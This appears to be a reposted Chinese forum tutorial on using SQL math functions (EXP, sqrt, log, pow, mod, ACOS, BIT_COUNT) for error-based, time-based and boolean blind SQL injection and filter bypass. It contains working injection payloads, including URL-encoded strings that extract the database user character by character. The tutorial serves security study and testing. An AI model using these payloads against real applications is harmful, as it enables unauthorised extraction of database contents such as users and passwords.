找回密码
立即注册
搜索
热搜: Java Python Linux Go
发回帖 发新帖
Claude、GPT 海外模型 API 接入云原生前端项目实战教程50G互联网架构师面试指南
大模型全栈开发课程企业级DevOps全栈实践零基础产品经理就业课程

6180

积分

0

好友

749

主题
发表于 7 天前 | 查看: 0| 回复: 0

一、数学函数在报错注入中的应用

原理:某些数学函数在特定参数下会触发数据库错误,结合报错注入技术可实现数据提取。

典型案例EXP()

-- MySQL:利用exp()函数溢出触发报错(需满足~0按位取反后数值足够大)
SELECT EXP(~(SELECT * FROM (SELECT version())x))
-- 报错信息会返回当前数据库版本:Double value is out of range in 'exp(~((select version() from dual)))'

SQL查询语句 select ln(15) 的执行结果

SQL查询语句 select log(15) 的执行结果

这是一个 Double 型数据溢出造成的问题。在 MySQL 中,exp() 为指数函数,与 ln()log() 对数函数的功能相反,log()ln() 都是返回以 e 为底数的对数:

SQL查询 select exp(2.70805020110221) 返回结果 15

exp() 运算超出 709 的数时,就会导致溢出错误:

select exp(709) 的执行结果

select exp(710) 触发 DOUBLE value is out of range 报错

在 MySQL 数据库查询中,对 0 按位取反,我们能得到最大的无符号 BIGINT 值。在计算机中,高位第一位为符号位,1 为负数,0 为正数:

select ~0 返回 18446744073709551615

加入子查询,就会先执行子查询的结果,再对结果进行取反:

SELECT VERSION() 与 select ~(select VERSION()) 的执行结果

~(select VERSION()) 返回 18446744073709551610

因此,只要我们对子查询的结果进行取反,再放入 exp() 函数中,就可以通过报错注入获取到想要的数据:

select exp(~(select*from(select user())x)) 报错返回 root 用户信息

这种方法就是利用数学函数的特性,结合数据库语法进行注入获取数据。

二、盲注中的数学函数技巧

熟悉理解上面讲述的知识后,再基于 SQL 查询中各类取值和运算方法,我们就能构造出更灵活的注入方式。

在注入类型中,最常见的就是盲注。毕竟处理异常报错问题是开发人员的必修课,大多数情况下的注入都不会把数据库报错信息直接抛出来。

这时,注入判断通常分为两种:一种是时间差异判断,另一种是响应结果内容差异判断。结合数学函数的运行结果来操控这些差异的幅度,就能获取准确的数据库信息。

1. 时间盲注(Time-Based)

sqrt(n):平方根,会对传入的数据进行开平方。如果传入的数据小于 0,则返回 NULL。Oracle 会直接报错 ORA-01428: argument 'number' is out of range

-- MySQL:利用sleep()或重复计算消耗时间
select sleep(sqrt(ASCII(SUBSTR(user(),1,1))-114));
-- 若首字符ASCII为114('r'),则延迟响应0秒
-- 若sleep内传入的数小于0,则会报错

select sleep(sqrt(ASCII(SUBSTR(user(),1,1))-113)) 延时执行成功

select sleep(sqrt(ASCII(SUBSTR(user(),1,1))-115)) 返回 Incorrect arguments to sleep

select sleep(sqrt(ASCII(SUBSTR(user(),1,1))-114)+1) 返回 OK Time 1.007s

当判断的数字远远小于需要获取的值时,会特别消耗时间资源,所以一般不建议直接延时运算的值,而是配合条件判断一起使用,除非判断函数被限制:

select if((sqrt(ASCII(SUBSTR(user(),1,1))-114)=0,sleep(1),1) 延时成功

log(n) / log(m,n):返回自然数的对数。n 小于 0 时为 null,Oracle 会报错;log(1)=0。因为对数求值结果较小,时间开销不大,比较推荐:

select if ((log(ASCII(SUBSTR(user(),1,1))-113))=0,sleep(1),1);

select if((log(ASCII(SUBSTR(user(),1,1))-113))=0,sleep(1),1) 延时执行成功

pow(m,n):幂运算。当底数是负数且指数是非整数时,会报错。直接以结果进行延时判断,消耗时间相对可控:

select pow(4,0.5);  
-- ex
'+or+if(POW((ASCII(SUBSTR(user(),1,1))-114),0.5)=0,sleep(2),1)='1 

select if(POW((ASCII(SUBSTR(user(),1,1))-114),0.5)=0,sleep(1),1) 延时成功

GET 请求中使用 POW 构造 SQL 时间盲注 payload

mod(m,n):模运算,本质为求余数。如果模运算的除数为零,则返回 null,Oracle 会报错。如果第一个值和第二个值的绝对值求余不为 0,且第一个值小于第二个值的绝对值,则直接返回第一个值,否则返回余数。

select mod(0,-1);
-- 0与任何数的余数都为0

select sleep(3/ISNULL(MOD(0,ASCII(SUBSTR(user(),1,1))-114)));
-- isnull表示判断是否为null,是返回1,否则返回0

select sleep(3/ISNULL(MOD(0,ASCII(SUBSTR(user(),1,1))-114))) 延时成功

ACOS(n)ASIN(n):三角函数/反三角函数,取值范围在 -1 到 1 之间,返回值约在 3.14 到 0、-1.5 到 1.5 之间。超出取值范围返回 null,Oracle 会报错。正弦曲线峰值约为 1.5,余弦曲线峰值约为 3.14,推荐使用余弦函数。

SELECT ASIN(ASCII(SUBSTR(user(),1,1))-114) 返回 0

SELECT ACOS(ASCII(SUBSTR(user(),1,1))-113) 返回 0

还有如 ln()ceil()floor()TAN() 等函数。数据库不同,部分数学函数的用法也存在差异,这里就不全部列举了,感兴趣的可以自行了解。

2. 布尔盲注(Boolean-Based)

-- 通过数学运算构造真/假条件
SELECT * FROM users WHERE id=1 AND (LENGTH(database())=8)*1=1
-- 若数据库名长度为8则返回正常页面,否则无结果

在根据返回内容进行判断的情况下,通过函数正常执行与非正常执行,或执行后的差异不同,即可判断注入得到对应的结果。

例如 sqrt():我们可以通过 isnull 来判断,运算结果为 null 则返回 1,否则返回 0:

select sleep(ACOS(ASCII(SUBSTR(user(),1,1))-115)) 延时执行成功

当无法使用类似于 ISNULL 这种判断方法时,其实也可以直接根据运算结果去获取数据:

GET 请求使用 sqrt 构造 SQL 布尔盲注并返回 root1%

GET 请求使用 sqrt 构造 SQL 布尔盲注返回 null

当然,如果正常查询本身的内容为空,导致无法依据回显数据差异来判断,就可以利用函数错误执行触发异常处理来显示差异。例如 sqrt() 在 Oracle 中小于 0 就会报错:

JDBC 连接 Oracle 执行 all_users 查询的 Java 代码片段

POST 请求使用 sqlrt 构造报错型 SQL 注入 payload

sqrt 函数的特性是计算的值不应小于 0,所以只要计算值不小于 0,就不会执行错误。因此我们 fuzz 判断的依据是:当第一次出现异常结果,即 sqrt(-1) 时,正确字符的 ASCII 值就为 fuzz 结果减 1 的值。也可以取最后一次正常的值 sqrt(0)

POST 请求使用 sqr 函数对首字符 ASCII 进行布尔盲注

POST 请求使用 sqr 函数判断首字符 ASCII 是否为 84

第一个字符的 ASCII 值就是 83,即字符 S。依次类推,就能得到最终结果 SYSTEM

其他函数也是如此,通过触发其非预期的处理或错误执行,来进行注入判断获取数据。

三、数据转换绕过

使用数学函数时,我们需要把要获取的字符串截取出来,并转换为数值进行运算。

1. 字符串转数值

-- 将字符转换为ASCII码后参与运算
SELECT ORD('a')-96  -- 返回1(ASCII码转换)

-- 结合SUBSTR逐位提取数据:
SELECT (ASCII(SUBSTR(password,1,1)) > 100) FROM users WHERE id=1

2. 进制转换绕过过滤

-- 使用CONV()函数进行进制转换
SELECT CONV(HEX(SUBSTR(user(),1,1)),16,10)  
-- 将字符转为十进制数值

四、进阶:数学函数与位运算

-- 利用BIT_COUNT()函数进行二进制分析
SELECT BIT_COUNT(ASCII('a') & 1)  -- 判断字符最低位是否为1
-- 结合逐位探测可提取完整数据

在 MySQL 中,BIT_COUNT(n) 是位计数函数,用于计算数字中 1 的个数。例如对于数字 1,二进制表示为 0000 0001,只有一个 1,所以 BIT_COUNT(1) 返回 1。

a 的 ASCII 值为 97,二进制表示为 0110 0001,与 0000 0001 进行与运算,得到的结果为 0000 0001。再通过位计数函数,就能判断出 a 的 ASCII 值的二进制表示最低位为 1。

128=1000 000064=0100 000032=0010 000016=0001 00008=0000 10004=0000 01002=0000 0010

依此类推,通过位运算,我们可以逐渐得到字符 ASCII 值的二进制表示中每个位上是 1 还是 0:

批量执行 BIT_COUNT 判断字符二进制位

BIT_COUNT 各二进制位计算结果汇总

合起来结果就是 0110 0001,即字符 a

再将上述的转换绕过和错误执行判断相结合进行注入:

SELECT sqrt(BIT_COUNT(CONV(HEX(SUBSTR(user(),1,1)),16,10)&1));
1'+or+1/sqrt(BIT_COUNT(CONV(HEX(SUBSTR(user(),1,1)),16,10)%261))='1

例如下图:

HTTP 请求与响应结果,响应体包含 root 与 localhost

依据正常执行与执行报错的响应不同进行判断,能得到结果为 0111 0010,即获取到第一个字符为 r


以上内容完整保留了原文中与 SQL 注入数学函数相关的技术原理、示例代码、执行截图与利用思路,去除了原文末尾的公众号、圈子、知识库、漏洞库、面试库、POC 库及工具推广内容。




上一篇:Headroom 可逆上下文压缩:AI Agent 成本直降 10 倍不变笨
下一篇:NVIDIA Jim Fan 机器人技术树:VLA 落幕,具身智能两大战场与 2040 终局预判
您需要登录后才可以回帖 登录 | 立即注册

手机版|小黑屋|网站地图|云栈社区 ( 苏ICP备2022046150号-2 )

GMT+8, 2026-9-21 01:04 , Processed in 1.820976 second(s), 47 queries , Gzip On.

Powered by Discuz! X3.5

© 2025-2026 云栈社区.

快速回复 返回顶部 返回列表